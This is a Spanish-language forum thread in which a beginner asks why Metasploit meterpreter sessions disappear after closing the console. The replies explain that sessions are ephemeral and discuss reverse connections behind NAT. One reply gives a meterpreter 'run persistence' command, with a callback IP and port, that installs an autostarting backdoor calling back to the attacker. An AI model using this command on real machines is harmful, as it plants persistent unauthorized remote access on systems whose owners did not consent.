Duda sobre metasploit (meterpreter sessions)

  • 8 Respuestas
  • 645 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado 3ldiosfenix

  • *
  • Underc0der
  • Mensajes: 5
  • Actividad:
    3.33%
  • Country: 00
  • Reputación 0
    • Ver Perfil

Duda sobre metasploit (meterpreter sessions)

  • en: Marzo 30, 2020, 07:41:56 pm
Ante todo Buenas !!!!!
Tengo una pequeña consulta logro infectar una maquina virtual o cualquier maquina en casa y todo bien creo shell hago background......
pero cierro todo
y al momento de buscar las sessiones en metasploit no se guardan a que se debe se supone que desde q logras infectar la credencial o session se queda guardada!!!!??
Por que no me aparece  hago mal algo  ???'?'
Espero me puedan ayudar

« Última modificación: Marzo 30, 2020, 07:46:46 pm por 3ldiosfenix »

Desconectado animanegra

  • *
  • Colaborador
  • *
  • Mensajes: 256
  • Actividad:
    86.67%
  • Country: 00
  • Reputación 10
    • Ver Perfil

Re:Duda sobre metasploit (meterpreter sessions)

  • en: Marzo 31, 2020, 07:27:54 am
Dejame que entienda la pregunta. ¿Abres la sesion, la cierras y despues no aparece en la lista de conexiones abiertas? ¿Es eso?

Lo siento, no contesto dudas por MP, si tienes dudas las planteas en el foro.

Desconectado wh1t3.kn1ght

  • *
  • Underc0der
  • Mensajes: 3
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil

Re:Duda sobre metasploit (meterpreter sessions)

  • en: Marzo 31, 2020, 02:06:07 pm
Hola,

Lo que sucede es que cuando tu abres otro msfconsole en otra terminal, metasploit entiende que vas a iniciar una nueva sesion, por lo que te sale que no hay sesiones, en la misma terminal donde ya tienes iniciado el meterpreter, tira el comando sessions y veras que ahi si te salen las sesiones.

Si quieres crear un persistent session, lanzale un comando como este en meterpreter run persistence -U -i 5 -p 443 -r 192.168.1.71 y reemplazar el puerto y la ip

Saludos.

Desconectado 3ldiosfenix

  • *
  • Underc0der
  • Mensajes: 5
  • Actividad:
    3.33%
  • Country: 00
  • Reputación 0
    • Ver Perfil

Re:Duda sobre metasploit (meterpreter sessions)

  • en: Marzo 31, 2020, 02:36:08 pm
You are not allowed to view links. Register or Login
Dejame que entienda la pregunta. ¿Abres la sesion, la cierras y despues no aparece en la lista de conexiones abiertas? ¿Es eso?


si asi es

Desconectado 3ldiosfenix

  • *
  • Underc0der
  • Mensajes: 5
  • Actividad:
    3.33%
  • Country: 00
  • Reputación 0
    • Ver Perfil

Re:Duda sobre metasploit (meterpreter sessions)

  • en: Marzo 31, 2020, 02:38:06 pm
You are not allowed to view links. Register or Login
Hola,

Lo que sucede es que cuando tu abres otro msfconsole en otra terminal, metasploit entiende que vas a iniciar una nueva sesion, por lo que te sale que no hay sesiones, en la misma terminal donde ya tienes iniciado el meterpreter, tira el comando sessions y veras que ahi si te salen las sesiones.

Si quieres crear un persistent session, lanzale un comando como este en meterpreter run persistence -U -i 5 -p 443 -r 192.168.1.71 y reemplazar el puerto y la ip

Saludos.

si lo echo pero cuando abro todo !! no aparecen las sessiones pense q metaesploit las guarda !!!!

Desconectado animanegra

  • *
  • Colaborador
  • *
  • Mensajes: 256
  • Actividad:
    86.67%
  • Country: 00
  • Reputación 10
    • Ver Perfil

Re:Duda sobre metasploit (meterpreter sessions)

  • en: Marzo 31, 2020, 04:53:25 pm
Si cierras la sesion, ya no hay sesion abierta. la has cerrado

Lo siento, no contesto dudas por MP, si tienes dudas las planteas en el foro.

Desconectado wh1t3.kn1ght

  • *
  • Underc0der
  • Mensajes: 3
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil

Re:Duda sobre metasploit (meterpreter sessions)

  • en: Marzo 31, 2020, 07:29:36 pm
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
Hola,

Lo que sucede es que cuando tu abres otro msfconsole en otra terminal, metasploit entiende que vas a iniciar una nueva sesion, por lo que te sale que no hay sesiones, en la misma terminal donde ya tienes iniciado el meterpreter, tira el comando sessions y veras que ahi si te salen las sesiones.

Si quieres crear un persistent session, lanzale un comando como este en meterpreter run persistence -U -i 5 -p 443 -r 192.168.1.71 y reemplazar el puerto y la ip

Saludos.

si lo echo pero cuando abro todo !! no aparecen las sessiones pense q metaesploit las guarda !!!!

Para eso es el run persistence que te envie, con eso creas un backdoor y la proxima vez que se inicie la maquina, tu podras entrar directamente, te recomiendo leer esta guia por si tienes mas dudas You are not allowed to view links. Register or Login

Saludos.

Desconectado animanegra

  • *
  • Colaborador
  • *
  • Mensajes: 256
  • Actividad:
    86.67%
  • Country: 00
  • Reputación 10
    • Ver Perfil

Re:Duda sobre metasploit (meterpreter sessions)

  • en: Abril 01, 2020, 07:13:52 am
La persistencia que comenta la persona de arriba es a grandes rasgos dejar un meterpreter que se autoejecute en la maquina remota. Si no haces eso, no podrás abrir una nueva sesion, ten en cuenta que las sesiones que abres con metasploit, son efimeras. Explotas un fallo de un programa y en ese momento ejecutas un payload. Esa ejecucion durará lo que estés trabajando con el. Y una vez cerrada la coonexion, no sigue la ejecucion del programa.
Hablando en lenguaje profano, para poder seguir accediendo sin necesidad de  explotación (romper el programa en ejecucion cuyo fallo te permite ejecutar instrucciones) tienes que decirle al sistema remoto o bien que abra un puerto al que te puedas conectar tu, o bien que este de forma continua intentando llamarte a ti para que cuando lo requieras puedas usarlo. Las implicaciones de esto son evidentes, si pones un servidor en el otro extremo y está detras de un NAT no podrás acceder a él. Por otro lado si pones un servidor en tu ordenador y estas detras de  un NAT, el otro lado no podrá llegar a ti. Tocará hacer un mapeo de puertos en el router.

Lo siento, no contesto dudas por MP, si tienes dudas las planteas en el foro.

Desconectado 3ldiosfenix

  • *
  • Underc0der
  • Mensajes: 5
  • Actividad:
    3.33%
  • Country: 00
  • Reputación 0
    • Ver Perfil

Re:Duda sobre metasploit (meterpreter sessions)

  • en: Abril 02, 2020, 09:06:25 pm
You are not allowed to view links. Register or Login
La persistencia que comenta la persona de arriba es a grandes rasgos dejar un meterpreter que se autoejecute en la maquina remota. Si no haces eso, no podrás abrir una nueva sesion, ten en cuenta que las sesiones que abres con metasploit, son efimeras. Explotas un fallo de un programa y en ese momento ejecutas un payload. Esa ejecucion durará lo que estés trabajando con el. Y una vez cerrada la coonexion, no sigue la ejecucion del programa.
Hablando en lenguaje profano, para poder seguir accediendo sin necesidad de  explotación (romper el programa en ejecucion cuyo fallo te permite ejecutar instrucciones) tienes que decirle al sistema remoto o bien que abra un puerto al que te puedas conectar tu, o bien que este de forma continua intentando llamarte a ti para que cuando lo requieras puedas usarlo. Las implicaciones de esto son evidentes, si pones un servidor en el otro extremo y está detras de un NAT no podrás acceder a él. Por otro lado si pones un servidor en tu ordenador y estas detras de  un NAT, el otro lado no podrá llegar a ti. Tocará hacer un mapeo de puertos en el router.

Muchisisiisisimas gracias de verdad tu respuesta me ayuda mucho de verdad gracias aclaraste mis dudas

 

[SOLUCIONADO] Duda con " "

Iniciado por Krisium

Respuestas: 1
Vistas: 3981
Último mensaje Junio 10, 2010, 10:50:35 am
por Xa0s
Dudas sobre el uso de "i2p" y "freenet"

Iniciado por achievement_unlocked

Respuestas: 2
Vistas: 2735
Último mensaje Agosto 28, 2016, 10:14:59 pm
por seth
[SOLUCIONADO] [Taller PHP] Duda taller php 1 ejercicio 4

Iniciado por arthusu

Respuestas: 2
Vistas: 3707
Último mensaje Julio 18, 2011, 07:19:33 pm
por arthusu
[SOLUCIONADO] Duda con Windows 7 de 32 bits & 64 bits

Iniciado por andrestoushit

Respuestas: 2
Vistas: 2786
Último mensaje Marzo 15, 2016, 04:01:16 pm
por karurosu
[SOLUCIONADO][Taller PHP] Duda taller php 2 ejercicio 2

Iniciado por Only

Respuestas: 3
Vistas: 4045
Último mensaje Agosto 05, 2011, 09:48:09 pm
por Only